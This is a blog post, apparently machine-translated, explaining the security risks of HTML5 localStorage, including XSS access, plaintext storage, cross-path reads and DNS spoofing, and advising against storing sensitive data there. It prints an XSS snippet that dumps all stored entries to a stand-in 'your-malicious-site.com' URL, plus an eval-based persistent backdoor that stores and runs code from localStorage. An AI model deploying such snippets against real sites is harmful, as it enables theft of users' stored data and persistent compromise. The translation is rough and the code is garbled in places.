[Html5]localstorage's principles and HTML5 local storage security

http://zccst.iteye.com/blog/2194344

The predecessor of HTML5 Local storage is that COOKIE,HTML5 's local storage is the use of Localstorage objects to persist web data locally. By comparison, the storage size of each domain in HTML5 local storage defaults to 5M, which is much larger than the 4K of the cookie. and the code for storing and reading data is extremely concise:

Window.localStorage.setItem (Key,value);//Store data
Window.localStorage.getItem (key);//Read data
Window.localStorage.removeItem (key);//Delete data item
Window.localStorage.clear ();//Delete all data

Now can we simply think that HTML5 storage is already a substitute for cookie storage. This new storage method also brings new security risks in practical application. With these questions we will discuss the following.

(1), is it possible to replace cookies

The browser has been using cookies for many years, and now that the localstorage storage space is so large, can the authentication data be ported directly over it. For now, it's not too mature to store the authentication data using Localstorage. We know that you can usually use an XSS vulnerability to obtain a cookie and then use that cookie to authenticate the login. Later, in order to prevent access to cookie data through XSS, the browser supports the use of httponly to protect cookies from being acquired by XSS attacks. The Localstorage store does not have any defenses against XSS attacks. Once an XSS vulnerability occurs, the data stored in the Localstorage is easily accessible.

If a Web site has an XSS vulnerability, then the attacker injects the following code to get all the information stored locally using Localstorage.

JS Code

1. var i = 0;
2. var str = "";
3. while (Localstorage.key (i)! = null)
4. {
5. var key = Localstorage.key (i);
6. str + = key + ":" + localstorage.getitem (key);
7. i++;
8. }
9. document.location="http://your-malicious-site.com?stolen=" + str;

Attackers can also simply use Localstorage.removeitem (key) and localstorage.clear () to empty the stored data.

(2), do not store sensitive information

It is known from (1) that localstorage stored data is susceptible to XSS attacks from a remote attack, so it is inappropriate to store the authentication or sensitive information in localstorage. From the point of view of local attack, it is not appropriate to store sensitive information from Localstorage's own storage mode and storage aging.

All five browsers now support Localstorage storage, with the ability to view local storage in the Chrome,opera,safari three browsers. However, different browsers have a slightly different approach to localstorage storage. Here are the five major browser Localstorage storage methods:

HTML5 Security for local storage

As can be seen in the above description, in addition to opera browser with BASE64 encryption (BASE64 is also easy to decrypt), other browsers are in clear text to store data.

On the other hand, in the timeliness of data storage, Localstorage does not set the time limit of data survival as a cookie, as long as the user does not actively delete, localstorage stored data will be permanently present.

Based on the above analysis of storage and storage aging, it is recommended not to use Localstorage to store sensitive information, it is afraid that this information is encrypted.

(3), strict filter input and output

For local storage, data is often stored locally in order to make it easier to load data again. When this is loaded, the data is read directly from the local page. In some cases, when data is written or read in localstorage storage, if the data is not rigorously filtered by input and output, it is highly likely that the data will be parsed as HTML code, resulting in an XSS attack.

Twitter has had a localstorage XSS vulnerability. The second vulnerability is triggered when the following storage code is executed on Twitter's profile, and the/xss/box pops up each time you open your profile.

As you can see from this code, Twitter uses the Localstorage method to store some personal data locally, and it stores data from the local store each time it loads a personal page. Then, because Twitter ignores the strict filtering of the removal data, the stored code is executed as HMTL encoding, which in turn results in a cross-site attack.

Twitter localstorage XSS Vulnerability Details can be viewed: http://www.wooyun.org/bugs/wooyun-2010-03075. Although Twitter is a very difficult exploit, it tells us once again that the principle of all input and output is harmful and that strict input and output filtering is needed for the data.

(4), vulnerable to cross-directory attacks

Localstroage storage does not specify the path in the domain as a cookie store, and there is no concept of a domain path in localstroage storage mode. In other words, if an XSS vulnerability exists in any path under a domain, the data stored in the entire domain can be obtained if the stored name is known.

Suppose the following two links are using Localstorage to store data:

The user Xisigr and xhack the respective blog links although belong to the same domain, but there are different paths, one path is XISIGR, the other path is xhack. Assuming that the XISIGR user discovers that there is a storage-type XSS vulnerability in his or her own path, it is possible to include the data code in their own blog, where the core code is Localstorage.getitem ("name"). Xhack users do not need to log in to the blog, as long as he accesses the HTTP://H.EXAMPLE.COM/XISIGR, local storage data will be obtained.

(5), prone to DNS spoofing attacks

Google has been using Google gears to store local storage before using HTML5 local storage, when Google gears was attacked by DNS spoofing. Google gears support offline storage, you can gmail,wordpresss such web site data in the form of SQLite database, in the future users can be stored on the site data offline read or delete operations. If an attacker launches a DNS spoofing attack, it can inject a local database, fetch data, or leave a permanent backdoor. This will cause persistent damage to the user. The DNS spoofing attack that Google gears suffers is equally valid on HTML5 local storage.

(6), the hotbed of malicious code habitat

In the 6th, the title "Breeding grounds for malicious code" has a somewhat exaggerated effect. In fact, this is to say that HTML5 local storage in space and time will be called the trend of future storage, expecting "malicious code" will naturally fly south of the wild Goose to migrate habitat to this hotbed.

So, what is HTML5 local storage space and time? Space here refers to the storage space, compared to the cookie 4K space of small, HTML5 Localstroage method By default can make the browser storage 5M space can be said to be broad, and Safari Browser can support to 500M more let HTML5 storage domineering exposed. Time, with the HTML5 technology matures, in addition to the major browser manufacturers rushed to support HTML5 in their products, some big application software vendors also have a good trust in it. For example, 2011.11-month Adobe announced that it would give up flash on its phone, and that HTML5 would replace it all. As time goes by, the pace of HTML5 will move faster, and it will make it more and more likely to use HTML5 local storage applications.

The above theoretically analyzes the possibility of a "hotbed of malicious code habitat". The practical technical feasibility is also very simple. Here is the core code to leave the back door in the Local:

JS Code

1. //  save shellcode  
2. function setshellcodz (codz) {  
3.      Window.localStorage.setItem ( "Shellcodz",  codz);   
4. }   
5.   
6. //  execute shellcode  
7. function getshellcodz () {  
8.     eval ( Window.localStorage.getItem ( "Shellcodz");   
9. }  
10.   
11. //  delete shellcode  
12. function delshellcodz () {  
13.      Window.localStorage.removeItem ( "Shellcodz");   
14. }  

Principles of Html5]localstorage and HTML5 local storage security